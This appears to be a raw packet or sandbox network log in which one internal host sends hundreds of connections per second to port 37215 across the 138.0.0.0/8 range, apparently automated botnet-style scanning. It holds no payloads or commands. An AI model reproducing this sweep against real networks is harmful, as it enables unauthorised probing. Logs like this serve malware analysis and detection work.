Feb 20, 2022 15:50:58.706234932 CET	1386	37215	192.168.2.23	138.211.129.98
Feb 20, 2022 15:50:58.706244946 CET	1898	37215	192.168.2.23	138.98.186.51
Feb 20, 2022 15:50:58.706269979 CET	1898	37215	192.168.2.23	138.193.118.84
Feb 20, 2022 15:50:58.706305027 CET	1386	37215	192.168.2.23	138.66.231.74
Feb 20, 2022 15:50:58.706329107 CET	1898	37215	192.168.2.23	138.160.162.193
Feb 20, 2022 15:50:58.706341982 CET	1898	37215	192.168.2.23	138.189.130.21
Feb 20, 2022 15:50:58.706358910 CET	1386	37215	192.168.2.23	138.10.161.90
Feb 20, 2022 15:50:58.706367016 CET	1898	37215	192.168.2.23	138.183.156.185
Feb 20, 2022 15:50:58.706423044 CET	1386	37215	192.168.2.23	138.41.248.140
Feb 20, 2022 15:50:58.706432104 CET	1898	37215	192.168.2.23	138.161.206.140
Feb 20, 2022 15:50:58.706433058 CET	1898	37215	192.168.2.23	138.98.100.197
Feb 20, 2022 15:50:58.706449986 CET	1898	37215	192.168.2.23	138.165.41.148
Feb 20, 2022 15:50:58.706468105 CET	1898	37215	192.168.2.23	138.198.77.60
Feb 20, 2022 15:50:58.706489086 CET	1386	37215	192.168.2.23	138.177.111.85
Feb 20, 2022 15:50:58.706523895 CET	1898	37215	192.168.2.23	138.232.224.22
Feb 20, 2022 15:50:58.706531048 CET	1898	37215	192.168.2.23	138.216.45.106
Feb 20, 2022 15:50:58.706552982 CET	1898	37215	192.168.2.23	138.75.67.123
Feb 20, 2022 15:50:58.706588984 CET	1386	37215	192.168.2.23	138.171.243.17
Feb 20, 2022 15:50:58.706589937 CET	1898	37215	192.168.2.23	138.9.101.86
Feb 20, 2022 15:50:58.706602097 CET	1898	37215	192.168.2.23	138.101.226.215
Feb 20, 2022 15:50:58.706605911 CET	1898	37215	192.168.2.23	138.27.58.128
Feb 20, 2022 15:50:58.706629992 CET	1898	37215	192.168.2.23	138.205.71.35
Feb 20, 2022 15:50:58.706645012 CET	1386	37215	192.168.2.23	138.172.2.72
Feb 20, 2022 15:50:58.706655025 CET	1898	37215	192.168.2.23	138.101.173.236
Feb 20, 2022 15:50:58.706681013 CET	1898	37215	192.168.2.23	138.32.78.76
Feb 20, 2022 15:50:58.706698895 CET	1386	37215	192.168.2.23	138.11.11.241
Feb 20, 2022 15:50:58.706713915 CET	1898	37215	192.168.2.23	138.204.15.135
Feb 20, 2022 15:50:58.706727028 CET	1898	37215	192.168.2.23	138.83.176.9
Feb 20, 2022 15:50:58.706765890 CET	1898	37215	192.168.2.23	138.155.161.157
Feb 20, 2022 15:50:58.706770897 CET	1386	37215	192.168.2.23	138.57.195.144
Feb 20, 2022 15:50:58.706790924 CET	1898	37215	192.168.2.23	138.18.177.41
Feb 20, 2022 15:50:58.706804037 CET	1898	37215	192.168.2.23	138.57.17.70
Feb 20, 2022 15:50:58.706825972 CET	1386	37215	192.168.2.23	138.32.40.30
Feb 20, 2022 15:50:58.706861019 CET	1898	37215	192.168.2.23	138.14.218.219
Feb 20, 2022 15:50:58.706882954 CET	1898	37215	192.168.2.23	138.246.39.5
Feb 20, 2022 15:50:58.706891060 CET	1898	37215	192.168.2.23	138.98.101.178
Feb 20, 2022 15:50:58.706912041 CET	1386	37215	192.168.2.23	138.248.140.168
Feb 20, 2022 15:50:58.706918001 CET	1898	37215	192.168.2.23	138.132.64.248
Feb 20, 2022 15:50:58.706954956 CET	1898	37215	192.168.2.23	138.128.254.210
Feb 20, 2022 15:50:58.706970930 CET	1898	37215	192.168.2.23	138.208.79.135
Feb 20, 2022 15:50:58.707010031 CET	1386	37215	192.168.2.23	138.187.58.223
Feb 20, 2022 15:50:58.707019091 CET	1898	37215	192.168.2.23	138.17.178.121
Feb 20, 2022 15:50:58.707019091 CET	1898	37215	192.168.2.23	138.202.106.125
Feb 20, 2022 15:50:58.707031012 CET	1898	37215	192.168.2.23	138.155.32.189
Feb 20, 2022 15:50:58.707078934 CET	1386	37215	192.168.2.23	138.124.208.78
Feb 20, 2022 15:50:58.707091093 CET	1898	37215	192.168.2.23	138.69.4.93
Feb 20, 2022 15:50:58.707098961 CET	1898	37215	192.168.2.23	138.238.232.27
Feb 20, 2022 15:50:58.707118988 CET	1898	37215	192.168.2.23	138.135.35.135
Feb 20, 2022 15:50:58.707118988 CET	1898	37215	192.168.2.23	138.194.97.254
Feb 20, 2022 15:50:58.707145929 CET	1386	37215	192.168.2.23	138.129.193.175
Feb 20, 2022 15:50:58.707150936 CET	1898	37215	192.168.2.23	138.176.170.123
Feb 20, 2022 15:50:58.707171917 CET	1898	37215	192.168.2.23	138.74.111.165
Feb 20, 2022 15:50:58.707191944 CET	1898	37215	192.168.2.23	138.77.196.233
Feb 20, 2022 15:50:58.707217932 CET	1386	37215	192.168.2.23	138.34.246.76
Feb 20, 2022 15:50:58.707241058 CET	1898	37215	192.168.2.23	138.169.157.77
Feb 20, 2022 15:50:58.707245111 CET	1898	37215	192.168.2.23	138.111.193.77
Feb 20, 2022 15:50:58.707257032 CET	1898	37215	192.168.2.23	138.81.153.181
Feb 20, 2022 15:50:58.707271099 CET	1386	37215	192.168.2.23	138.6.190.0
Feb 20, 2022 15:50:58.707288980 CET	1898	37215	192.168.2.23	138.244.134.100
Feb 20, 2022 15:50:58.707324028 CET	1898	37215	192.168.2.23	138.169.193.246
Feb 20, 2022 15:50:58.707334995 CET	1898	37215	192.168.2.23	138.51.158.228
Feb 20, 2022 15:50:58.707355976 CET	1386	37215	192.168.2.23	138.169.198.56
Feb 20, 2022 15:50:58.707380056 CET	1898	37215	192.168.2.23	138.148.246.196
Feb 20, 2022 15:50:58.707396984 CET	1898	37215	192.168.2.23	138.192.252.103
Feb 20, 2022 15:50:58.707398891 CET	1898	37215	192.168.2.23	138.70.94.47
Feb 20, 2022 15:50:58.707423925 CET	1898	37215	192.168.2.23	138.168.48.235
Feb 20, 2022 15:50:58.707452059 CET	1386	37215	192.168.2.23	138.154.58.243
Feb 20, 2022 15:50:58.707457066 CET	1898	37215	192.168.2.23	138.16.211.144
Feb 20, 2022 15:50:58.707479000 CET	1898	37215	192.168.2.23	138.67.208.219
Feb 20, 2022 15:50:58.707501888 CET	1898	37215	192.168.2.23	138.98.178.130
Feb 20, 2022 15:50:58.707518101 CET	1386	37215	192.168.2.23	138.107.102.207
Feb 20, 2022 15:50:58.707542896 CET	1898	37215	192.168.2.23	138.168.31.217
Feb 20, 2022 15:50:58.707568884 CET	1898	37215	192.168.2.23	138.120.196.48
Feb 20, 2022 15:50:58.707571983 CET	1898	37215	192.168.2.23	138.222.168.14
Feb 20, 2022 15:50:58.707587957 CET	1898	37215	192.168.2.23	138.221.159.142
Feb 20, 2022 15:50:58.707595110 CET	1386	37215	192.168.2.23	138.164.159.197
Feb 20, 2022 15:50:58.707616091 CET	1898	37215	192.168.2.23	138.53.30.60
Feb 20, 2022 15:50:58.707643986 CET	1898	37215	192.168.2.23	138.26.201.215
Feb 20, 2022 15:50:58.707669020 CET	1898	37215	192.168.2.23	138.0.23.35
Feb 20, 2022 15:50:58.707703114 CET	1898	37215	192.168.2.23	138.108.172.112
Feb 20, 2022 15:50:58.707705021 CET	1386	37215	192.168.2.23	138.120.247.251
Feb 20, 2022 15:50:58.707727909 CET	1898	37215	192.168.2.23	138.171.177.101
Feb 20, 2022 15:50:58.707745075 CET	1898	37215	192.168.2.23	138.30.47.255
Feb 20, 2022 15:50:58.707761049 CET	1386	37215	192.168.2.23	138.23.144.145
Feb 20, 2022 15:50:58.707768917 CET	1898	37215	192.168.2.23	138.254.30.28
Feb 20, 2022 15:50:58.707792997 CET	1898	37215	192.168.2.23	138.215.64.203
Feb 20, 2022 15:50:58.707825899 CET	1386	37215	192.168.2.23	138.89.80.119
Feb 20, 2022 15:50:58.707834959 CET	1898	37215	192.168.2.23	138.14.66.13
Feb 20, 2022 15:50:58.707871914 CET	1898	37215	192.168.2.23	138.5.159.106
Feb 20, 2022 15:50:58.707879066 CET	1898	37215	192.168.2.23	138.220.56.179
Feb 20, 2022 15:50:58.707902908 CET	1898	37215	192.168.2.23	138.60.48.238
Feb 20, 2022 15:50:58.707905054 CET	1386	37215	192.168.2.23	138.154.99.123
Feb 20, 2022 15:50:58.707923889 CET	1898	37215	192.168.2.23	138.15.181.147
Feb 20, 2022 15:50:58.707943916 CET	1898	37215	192.168.2.23	138.75.195.62
Feb 20, 2022 15:50:58.707962036 CET	1386	37215	192.168.2.23	138.51.226.187
Feb 20, 2022 15:50:58.707995892 CET	1898	37215	192.168.2.23	138.10.236.156
Feb 20, 2022 15:50:58.708013058 CET	1898	37215	192.168.2.23	138.49.129.53
Feb 20, 2022 15:50:58.708029985 CET	1386	37215	192.168.2.23	138.76.81.114
Feb 20, 2022 15:50:58.708058119 CET	1898	37215	192.168.2.23	138.79.158.223
Feb 20, 2022 15:50:58.708070993 CET	1898	37215	192.168.2.23	138.220.179.61
Feb 20, 2022 15:50:58.708082914 CET	1898	37215	192.168.2.23	138.180.11.31
Feb 20, 2022 15:50:58.708086014 CET	1898	37215	192.168.2.23	138.124.225.221
Feb 20, 2022 15:50:58.708096981 CET	1386	37215	192.168.2.23	138.249.163.251
Feb 20, 2022 15:50:58.708106995 CET	1898	37215	192.168.2.23	138.240.203.175
Feb 20, 2022 15:50:58.708137035 CET	1898	37215	192.168.2.23	138.69.200.200
Feb 20, 2022 15:50:58.708162069 CET	1898	37215	192.168.2.23	138.165.224.153
Feb 20, 2022 15:50:58.708182096 CET	1386	37215	192.168.2.23	138.6.104.51
Feb 20, 2022 15:50:58.708188057 CET	1898	37215	192.168.2.23	138.166.180.144
Feb 20, 2022 15:50:58.708211899 CET	1898	37215	192.168.2.23	138.227.84.141
Feb 20, 2022 15:50:58.708233118 CET	1386	37215	192.168.2.23	138.105.136.14
Feb 20, 2022 15:50:58.708256006 CET	1898	37215	192.168.2.23	138.187.198.73
Feb 20, 2022 15:50:58.708257914 CET	1898	37215	192.168.2.23	138.244.17.84
Feb 20, 2022 15:50:58.708278894 CET	1898	37215	192.168.2.23	138.197.255.252
Feb 20, 2022 15:50:58.708304882 CET	1386	37215	192.168.2.23	138.23.19.151
Feb 20, 2022 15:50:58.708307981 CET	1898	37215	192.168.2.23	138.134.90.205
Feb 20, 2022 15:50:58.708322048 CET	1898	37215	192.168.2.23	138.159.49.95
Feb 20, 2022 15:50:58.708340883 CET	1386	37215	192.168.2.23	138.155.121.44
Feb 20, 2022 15:50:58.708353043 CET	1898	37215	192.168.2.23	138.47.230.37
Feb 20, 2022 15:50:58.708383083 CET	1898	37215	192.168.2.23	138.214.146.182
Feb 20, 2022 15:50:58.708409071 CET	1386	37215	192.168.2.23	138.199.239.40
Feb 20, 2022 15:50:58.708431005 CET	1898	37215	192.168.2.23	138.185.127.45
Feb 20, 2022 15:50:58.708442926 CET	1898	37215	192.168.2.23	138.126.181.14
Feb 20, 2022 15:50:58.708477020 CET	1898	37215	192.168.2.23	138.125.206.90
Feb 20, 2022 15:50:58.708492994 CET	1386	37215	192.168.2.23	138.83.168.62
Feb 20, 2022 15:50:58.708503008 CET	1898	37215	192.168.2.23	138.46.51.87
Feb 20, 2022 15:50:58.708515882 CET	1898	37215	192.168.2.23	138.224.67.142
Feb 20, 2022 15:50:58.708535910 CET	1898	37215	192.168.2.23	138.60.110.55
Feb 20, 2022 15:50:58.708554983 CET	1898	37215	192.168.2.23	138.179.142.111
Feb 20, 2022 15:50:58.708589077 CET	1898	37215	192.168.2.23	138.94.246.196
Feb 20, 2022 15:50:58.708607912 CET	1898	37215	192.168.2.23	138.155.129.209
Feb 20, 2022 15:50:58.708611012 CET	1386	37215	192.168.2.23	138.126.33.29
Feb 20, 2022 15:50:58.708628893 CET	1898	37215	192.168.2.23	138.55.217.209
Feb 20, 2022 15:50:58.708651066 CET	1898	37215	192.168.2.23	138.84.12.159
Feb 20, 2022 15:50:58.708652973 CET	1386	37215	192.168.2.23	138.13.195.207
Feb 20, 2022 15:50:58.708681107 CET	1386	37215	192.168.2.23	138.249.17.161
Feb 20, 2022 15:50:58.708684921 CET	1898	37215	192.168.2.23	138.96.173.67
Feb 20, 2022 15:50:58.708698034 CET	1898	37215	192.168.2.23	138.3.4.147
Feb 20, 2022 15:50:58.708729029 CET	1898	37215	192.168.2.23	138.159.69.100
Feb 20, 2022 15:50:58.708744049 CET	1898	37215	192.168.2.23	138.113.10.24
Feb 20, 2022 15:50:58.708767891 CET	1898	37215	192.168.2.23	138.226.110.34
Feb 20, 2022 15:50:58.708775997 CET	1386	37215	192.168.2.23	138.67.235.157
Feb 20, 2022 15:50:58.708811045 CET	1386	37215	192.168.2.23	138.192.139.167
Feb 20, 2022 15:50:58.708811045 CET	1898	37215	192.168.2.23	138.173.153.248
Feb 20, 2022 15:50:58.708832979 CET	1898	37215	192.168.2.23	138.66.51.36
Feb 20, 2022 15:50:58.708859921 CET	1386	37215	192.168.2.23	138.142.255.148
Feb 20, 2022 15:50:58.708867073 CET	1898	37215	192.168.2.23	138.180.86.12
Feb 20, 2022 15:50:58.708882093 CET	1898	37215	192.168.2.23	138.169.226.41
Feb 20, 2022 15:50:58.708905935 CET	1386	37215	192.168.2.23	138.113.17.9
Feb 20, 2022 15:50:58.708928108 CET	1898	37215	192.168.2.23	138.60.45.5
Feb 20, 2022 15:50:58.708944082 CET	1898	37215	192.168.2.23	138.31.120.101
Feb 20, 2022 15:50:58.708945990 CET	1386	37215	192.168.2.23	138.194.86.86
Feb 20, 2022 15:50:58.708971024 CET	1898	37215	192.168.2.23	138.65.29.158
Feb 20, 2022 15:50:58.708990097 CET	1386	37215	192.168.2.23	138.35.33.40
Feb 20, 2022 15:50:58.709013939 CET	1898	37215	192.168.2.23	138.4.195.40
Feb 20, 2022 15:50:58.709028006 CET	1386	37215	192.168.2.23	138.8.36.86
Feb 20, 2022 15:50:58.709042072 CET	1898	37215	192.168.2.23	138.102.250.70
Feb 20, 2022 15:50:58.709060907 CET	1898	37215	192.168.2.23	138.173.163.213
Feb 20, 2022 15:50:58.709076881 CET	1898	37215	192.168.2.23	138.167.108.143
Feb 20, 2022 15:50:58.709104061 CET	1898	37215	192.168.2.23	138.53.13.27
Feb 20, 2022 15:50:58.709106922 CET	1386	37215	192.168.2.23	138.147.105.212
Feb 20, 2022 15:50:58.709126949 CET	1898	37215	192.168.2.23	138.179.131.108
Feb 20, 2022 15:50:58.709152937 CET	1386	37215	192.168.2.23	138.189.75.14
Feb 20, 2022 15:50:58.709176064 CET	1386	37215	192.168.2.23	138.44.238.45
Feb 20, 2022 15:50:58.709182978 CET	1898	37215	192.168.2.23	138.10.205.189
Feb 20, 2022 15:50:58.709183931 CET	1898	37215	192.168.2.23	138.126.53.159
Feb 20, 2022 15:50:58.709201097 CET	1386	37215	192.168.2.23	138.130.27.249
Feb 20, 2022 15:50:58.709239960 CET	1898	37215	192.168.2.23	138.4.63.76
Feb 20, 2022 15:50:58.709240913 CET	1898	37215	192.168.2.23	138.99.184.123
Feb 20, 2022 15:50:58.709256887 CET	1386	37215	192.168.2.23	138.54.243.21
Feb 20, 2022 15:50:58.709271908 CET	1898	37215	192.168.2.23	138.66.35.220
Feb 20, 2022 15:50:58.709278107 CET	1898	37215	192.168.2.23	138.138.219.76
Feb 20, 2022 15:50:58.709301949 CET	1386	37215	192.168.2.23	138.160.124.212
Feb 20, 2022 15:50:58.709333897 CET	1898	37215	192.168.2.23	138.225.165.250
Feb 20, 2022 15:50:58.709351063 CET	1386	37215	192.168.2.23	138.211.63.7
Feb 20, 2022 15:50:58.709357977 CET	1898	37215	192.168.2.23	138.121.205.140
Feb 20, 2022 15:50:58.709378958 CET	1898	37215	192.168.2.23	138.27.130.60
Feb 20, 2022 15:50:58.709383965 CET	1898	37215	192.168.2.23	138.227.248.212
Feb 20, 2022 15:50:58.709384918 CET	1386	37215	192.168.2.23	138.170.189.103
Feb 20, 2022 15:50:58.709409952 CET	1898	37215	192.168.2.23	138.12.56.65
Feb 20, 2022 15:50:58.709424019 CET	1386	37215	192.168.2.23	138.97.103.147
Feb 20, 2022 15:50:58.709441900 CET	1898	37215	192.168.2.23	138.210.241.82
Feb 20, 2022 15:50:58.709464073 CET	1898	37215	192.168.2.23	138.48.98.149
Feb 20, 2022 15:50:58.709474087 CET	1386	37215	192.168.2.23	138.155.6.244
Feb 20, 2022 15:50:58.709506035 CET	1898	37215	192.168.2.23	138.131.4.25
Feb 20, 2022 15:50:58.709511995 CET	1898	37215	192.168.2.23	138.86.226.125
Feb 20, 2022 15:50:58.709517956 CET	1386	37215	192.168.2.23	138.242.30.200
Feb 20, 2022 15:50:58.709543943 CET	1898	37215	192.168.2.23	138.242.9.230
Feb 20, 2022 15:50:58.709553957 CET	1898	37215	192.168.2.23	138.11.181.117
Feb 20, 2022 15:50:58.709566116 CET	1898	37215	192.168.2.23	138.90.45.233
Feb 20, 2022 15:50:58.709587097 CET	1386	37215	192.168.2.23	138.173.74.117
Feb 20, 2022 15:50:58.709592104 CET	1898	37215	192.168.2.23	138.67.124.113
Feb 20, 2022 15:50:58.709625959 CET	1386	37215	192.168.2.23	138.169.14.242
Feb 20, 2022 15:50:58.709634066 CET	1898	37215	192.168.2.23	138.213.18.50
Feb 20, 2022 15:50:58.709634066 CET	1386	37215	192.168.2.23	138.209.187.230
Feb 20, 2022 15:50:58.709644079 CET	1898	37215	192.168.2.23	138.251.207.62
Feb 20, 2022 15:50:58.709670067 CET	1386	37215	192.168.2.23	138.49.20.98
Feb 20, 2022 15:50:58.709680080 CET	1898	37215	192.168.2.23	138.35.12.118
Feb 20, 2022 15:50:58.709698915 CET	1898	37215	192.168.2.23	138.101.198.101
Feb 20, 2022 15:50:58.709716082 CET	1386	37215	192.168.2.23	138.192.89.88
Feb 20, 2022 15:50:58.709738016 CET	1898	37215	192.168.2.23	138.48.227.16
Feb 20, 2022 15:50:58.709753036 CET	1898	37215	192.168.2.23	138.155.0.236
Feb 20, 2022 15:50:58.709764004 CET	1386	37215	192.168.2.23	138.247.72.220
Feb 20, 2022 15:50:58.709775925 CET	1898	37215	192.168.2.23	138.199.115.204
Feb 20, 2022 15:50:58.709798098 CET	1898	37215	192.168.2.23	138.142.120.77
Feb 20, 2022 15:50:58.709805965 CET	1386	37215	192.168.2.23	138.166.146.191
Feb 20, 2022 15:50:58.709825039 CET	1898	37215	192.168.2.23	138.123.149.7
Feb 20, 2022 15:50:58.709847927 CET	1898	37215	192.168.2.23	138.2.54.70
Feb 20, 2022 15:50:58.709851980 CET	1386	37215	192.168.2.23	138.165.5.137
Feb 20, 2022 15:50:58.709882021 CET	1898	37215	192.168.2.23	138.22.130.214
Feb 20, 2022 15:50:58.709887028 CET	1386	37215	192.168.2.23	138.76.135.126
Feb 20, 2022 15:50:58.709903955 CET	1898	37215	192.168.2.23	138.8.125.102
Feb 20, 2022 15:50:58.709923029 CET	1898	37215	192.168.2.23	138.178.112.220
Feb 20, 2022 15:50:58.709939957 CET	1386	37215	192.168.2.23	138.240.130.158
Feb 20, 2022 15:50:58.709965944 CET	1898	37215	192.168.2.23	138.145.14.192
Feb 20, 2022 15:50:58.709984064 CET	1386	37215	192.168.2.23	138.24.145.214
Feb 20, 2022 15:50:58.710016012 CET	1898	37215	192.168.2.23	138.64.167.168
Feb 20, 2022 15:50:58.710016966 CET	1898	37215	192.168.2.23	138.4.2.77
Feb 20, 2022 15:50:58.710025072 CET	1386	37215	192.168.2.23	138.85.79.38
Feb 20, 2022 15:50:58.710031033 CET	1898	37215	192.168.2.23	138.246.36.252
Feb 20, 2022 15:50:58.710043907 CET	1898	37215	192.168.2.23	138.185.222.74
Feb 20, 2022 15:50:58.710059881 CET	1898	37215	192.168.2.23	138.96.141.127
Feb 20, 2022 15:50:58.710086107 CET	1898	37215	192.168.2.23	138.195.164.230
Feb 20, 2022 15:50:58.710110903 CET	1386	37215	192.168.2.23	138.243.24.136
Feb 20, 2022 15:50:58.710112095 CET	1898	37215	192.168.2.23	138.81.237.89
Feb 20, 2022 15:50:58.710115910 CET	1386	37215	192.168.2.23	138.203.189.99
Feb 20, 2022 15:50:58.710140944 CET	1898	37215	192.168.2.23	138.144.210.133
Feb 20, 2022 15:50:58.710167885 CET	1898	37215	192.168.2.23	138.145.246.105
Feb 20, 2022 15:50:58.710182905 CET	1386	37215	192.168.2.23	138.169.198.167
Feb 20, 2022 15:50:58.710191011 CET	1386	37215	192.168.2.23	138.208.122.27
Feb 20, 2022 15:50:58.710191011 CET	1898	37215	192.168.2.23	138.147.210.78
Feb 20, 2022 15:50:58.710218906 CET	1898	37215	192.168.2.23	138.54.254.219
Feb 20, 2022 15:50:58.710231066 CET	1898	37215	192.168.2.23	138.250.249.211
Feb 20, 2022 15:50:58.710242033 CET	1386	37215	192.168.2.23	138.36.66.199
Feb 20, 2022 15:50:58.710258007 CET	1898	37215	192.168.2.23	138.55.34.39
Feb 20, 2022 15:50:58.710267067 CET	1386	37215	192.168.2.23	138.79.178.210
Feb 20, 2022 15:50:58.710283041 CET	1898	37215	192.168.2.23	138.121.107.64
Feb 20, 2022 15:50:58.710299015 CET	1386	37215	192.168.2.23	138.53.53.134
Feb 20, 2022 15:50:58.710316896 CET	1898	37215	192.168.2.23	138.75.202.93
Feb 20, 2022 15:50:58.710335970 CET	1386	37215	192.168.2.23	138.98.127.244
Feb 20, 2022 15:50:58.710345030 CET	1898	37215	192.168.2.23	138.233.206.254
Feb 20, 2022 15:50:58.710369110 CET	1898	37215	192.168.2.23	138.56.179.161
Feb 20, 2022 15:50:58.710371017 CET	1386	37215	192.168.2.23	138.80.158.128
Feb 20, 2022 15:50:58.710402966 CET	1898	37215	192.168.2.23	138.192.160.126
Feb 20, 2022 15:50:58.710412025 CET	1386	37215	192.168.2.23	138.73.30.129
Feb 20, 2022 15:50:58.710427999 CET	1898	37215	192.168.2.23	138.181.248.180
Feb 20, 2022 15:50:58.710460901 CET	1898	37215	192.168.2.23	138.159.141.107
Feb 20, 2022 15:50:58.710463047 CET	1386	37215	192.168.2.23	138.0.184.10
Feb 20, 2022 15:50:58.710480928 CET	1898	37215	192.168.2.23	138.3.113.35
Feb 20, 2022 15:50:58.710500002 CET	1386	37215	192.168.2.23	138.255.114.4
Feb 20, 2022 15:50:58.710504055 CET	1898	37215	192.168.2.23	138.219.199.168
Feb 20, 2022 15:50:58.710527897 CET	1386	37215	192.168.2.23	138.172.132.43
Feb 20, 2022 15:50:58.710537910 CET	1898	37215	192.168.2.23	138.132.39.218
Feb 20, 2022 15:50:58.710561037 CET	1386	37215	192.168.2.23	138.55.119.83
Feb 20, 2022 15:50:58.710562944 CET	1898	37215	192.168.2.23	138.172.190.92
Feb 20, 2022 15:50:58.710586071 CET	1898	37215	192.168.2.23	138.218.229.230
Feb 20, 2022 15:50:58.710608959 CET	1386	37215	192.168.2.23	138.6.187.48
Feb 20, 2022 15:50:58.710612059 CET	1898	37215	192.168.2.23	138.129.24.59
Feb 20, 2022 15:50:58.710634947 CET	1898	37215	192.168.2.23	138.247.207.253
Feb 20, 2022 15:50:58.710655928 CET	1386	37215	192.168.2.23	138.165.21.86
Feb 20, 2022 15:50:58.710668087 CET	1898	37215	192.168.2.23	138.235.109.246
Feb 20, 2022 15:50:58.710684061 CET	1898	37215	192.168.2.23	138.70.60.215
Feb 20, 2022 15:50:58.710694075 CET	1386	37215	192.168.2.23	138.123.216.44
Feb 20, 2022 15:50:58.710736036 CET	1898	37215	192.168.2.23	138.0.21.99
Feb 20, 2022 15:50:58.710738897 CET	1386	37215	192.168.2.23	138.106.133.192
Feb 20, 2022 15:50:58.710740089 CET	1898	37215	192.168.2.23	138.106.92.121
Feb 20, 2022 15:50:58.710763931 CET	1898	37215	192.168.2.23	138.255.194.149
Feb 20, 2022 15:50:58.710788965 CET	1386	37215	192.168.2.23	138.138.254.5
Feb 20, 2022 15:50:58.710789919 CET	1898	37215	192.168.2.23	138.212.90.121
Feb 20, 2022 15:50:58.710819006 CET	1898	37215	192.168.2.23	138.192.9.111
Feb 20, 2022 15:50:58.710838079 CET	1386	37215	192.168.2.23	138.124.137.247
Feb 20, 2022 15:50:58.710855007 CET	1898	37215	192.168.2.23	138.108.230.94
Feb 20, 2022 15:50:58.710869074 CET	1898	37215	192.168.2.23	138.178.88.34
Feb 20, 2022 15:50:58.710882902 CET	1386	37215	192.168.2.23	138.57.67.90
Feb 20, 2022 15:50:58.710892916 CET	1898	37215	192.168.2.23	138.106.204.3
Feb 20, 2022 15:50:58.710923910 CET	1898	37215	192.168.2.23	138.129.142.67
Feb 20, 2022 15:50:58.710943937 CET	1386	37215	192.168.2.23	138.142.196.98
Feb 20, 2022 15:50:58.710943937 CET	1898	37215	192.168.2.23	138.232.234.99
Feb 20, 2022 15:50:58.710963011 CET	1386	37215	192.168.2.23	138.21.28.81
Feb 20, 2022 15:50:58.710975885 CET	1898	37215	192.168.2.23	138.232.40.234
Feb 20, 2022 15:50:58.711002111 CET	1386	37215	192.168.2.23	138.78.40.74
Feb 20, 2022 15:50:58.711016893 CET	1898	37215	192.168.2.23	138.14.227.103
Feb 20, 2022 15:50:58.711038113 CET	1898	37215	192.168.2.23	138.232.204.224
Feb 20, 2022 15:50:58.711045980 CET	1386	37215	192.168.2.23	138.161.229.86
Feb 20, 2022 15:50:58.711076021 CET	1898	37215	192.168.2.23	138.76.16.63
Feb 20, 2022 15:50:58.711087942 CET	1386	37215	192.168.2.23	138.22.88.148
Feb 20, 2022 15:50:58.711102009 CET	1898	37215	192.168.2.23	138.11.222.183
Feb 20, 2022 15:50:58.711122990 CET	1898	37215	192.168.2.23	138.112.1.154
Feb 20, 2022 15:50:58.711136103 CET	1386	37215	192.168.2.23	138.6.46.27
Feb 20, 2022 15:50:58.711162090 CET	1898	37215	192.168.2.23	138.6.93.137
Feb 20, 2022 15:50:58.711168051 CET	1898	37215	192.168.2.23	138.140.129.71
Feb 20, 2022 15:50:58.711184978 CET	1898	37215	192.168.2.23	138.11.63.243
Feb 20, 2022 15:50:58.711191893 CET	1386	37215	192.168.2.23	138.32.24.173
Feb 20, 2022 15:50:58.711214066 CET	1898	37215	192.168.2.23	138.173.170.244
Feb 20, 2022 15:50:58.711229086 CET	1386	37215	192.168.2.23	138.91.66.104
Feb 20, 2022 15:50:58.711241007 CET	1898	37215	192.168.2.23	138.67.140.244
Feb 20, 2022 15:50:58.711261034 CET	1898	37215	192.168.2.23	138.90.207.211
Feb 20, 2022 15:50:58.711292982 CET	1898	37215	192.168.2.23	138.111.20.169
Feb 20, 2022 15:50:58.711312056 CET	1386	37215	192.168.2.23	138.150.177.51
Feb 20, 2022 15:50:58.711313009 CET	1898	37215	192.168.2.23	138.143.2.60
Feb 20, 2022 15:50:58.711323977 CET	1386	37215	192.168.2.23	138.17.68.206
Feb 20, 2022 15:50:58.711347103 CET	1386	37215	192.168.2.23	138.166.43.193
Feb 20, 2022 15:50:58.711352110 CET	1898	37215	192.168.2.23	138.251.5.134
Feb 20, 2022 15:50:58.711376905 CET	1898	37215	192.168.2.23	138.246.87.168
Feb 20, 2022 15:50:58.711395025 CET	1898	37215	192.168.2.23	138.19.220.158
Feb 20, 2022 15:50:58.711400032 CET	1386	37215	192.168.2.23	138.110.52.142
Feb 20, 2022 15:50:58.711412907 CET	1898	37215	192.168.2.23	138.250.157.62
Feb 20, 2022 15:50:58.711435080 CET	1386	37215	192.168.2.23	138.246.41.95
Feb 20, 2022 15:50:58.711460114 CET	1898	37215	192.168.2.23	138.74.32.169
Feb 20, 2022 15:50:58.711462975 CET	1898	37215	192.168.2.23	138.249.225.31
Feb 20, 2022 15:50:58.711469889 CET	1386	37215	192.168.2.23	138.68.145.48
Feb 20, 2022 15:50:58.711484909 CET	1898	37215	192.168.2.23	138.191.239.31
Feb 20, 2022 15:50:58.711507082 CET	1898	37215	192.168.2.23	138.7.64.11
Feb 20, 2022 15:50:58.711514950 CET	1386	37215	192.168.2.23	138.205.153.154
Feb 20, 2022 15:50:58.711529016 CET	1898	37215	192.168.2.23	138.69.47.248
Feb 20, 2022 15:50:58.711560011 CET	1898	37215	192.168.2.23	138.63.244.176
Feb 20, 2022 15:50:58.711585045 CET	1898	37215	192.168.2.23	138.168.145.80
Feb 20, 2022 15:50:58.711592913 CET	1386	37215	192.168.2.23	138.78.218.224
Feb 20, 2022 15:50:58.711608887 CET	1898	37215	192.168.2.23	138.84.49.204
Feb 20, 2022 15:50:58.711615086 CET	1386	37215	192.168.2.23	138.213.125.131
Feb 20, 2022 15:50:58.711626053 CET	1898	37215	192.168.2.23	138.77.220.86
Feb 20, 2022 15:50:58.711637020 CET	1386	37215	192.168.2.23	138.36.35.120
Feb 20, 2022 15:50:58.711657047 CET	1898	37215	192.168.2.23	138.208.61.133
Feb 20, 2022 15:50:58.711683035 CET	1386	37215	192.168.2.23	138.6.74.39
Feb 20, 2022 15:50:58.711702108 CET	1898	37215	192.168.2.23	138.114.9.42
Feb 20, 2022 15:50:58.711710930 CET	1898	37215	192.168.2.23	138.242.79.235
Feb 20, 2022 15:50:58.711724043 CET	1386	37215	192.168.2.23	138.211.79.192
Feb 20, 2022 15:50:58.711733103 CET	1898	37215	192.168.2.23	138.10.104.100
Feb 20, 2022 15:50:58.711760998 CET	1898	37215	192.168.2.23	138.115.72.145
Feb 20, 2022 15:50:58.711781025 CET	1386	37215	192.168.2.23	138.64.214.64
Feb 20, 2022 15:50:58.711791039 CET	1898	37215	192.168.2.23	138.63.200.38
Feb 20, 2022 15:50:58.711813927 CET	1898	37215	192.168.2.23	138.158.100.213
Feb 20, 2022 15:50:58.711821079 CET	1386	37215	192.168.2.23	138.131.28.43
Feb 20, 2022 15:50:58.711838961 CET	1898	37215	192.168.2.23	138.148.47.50
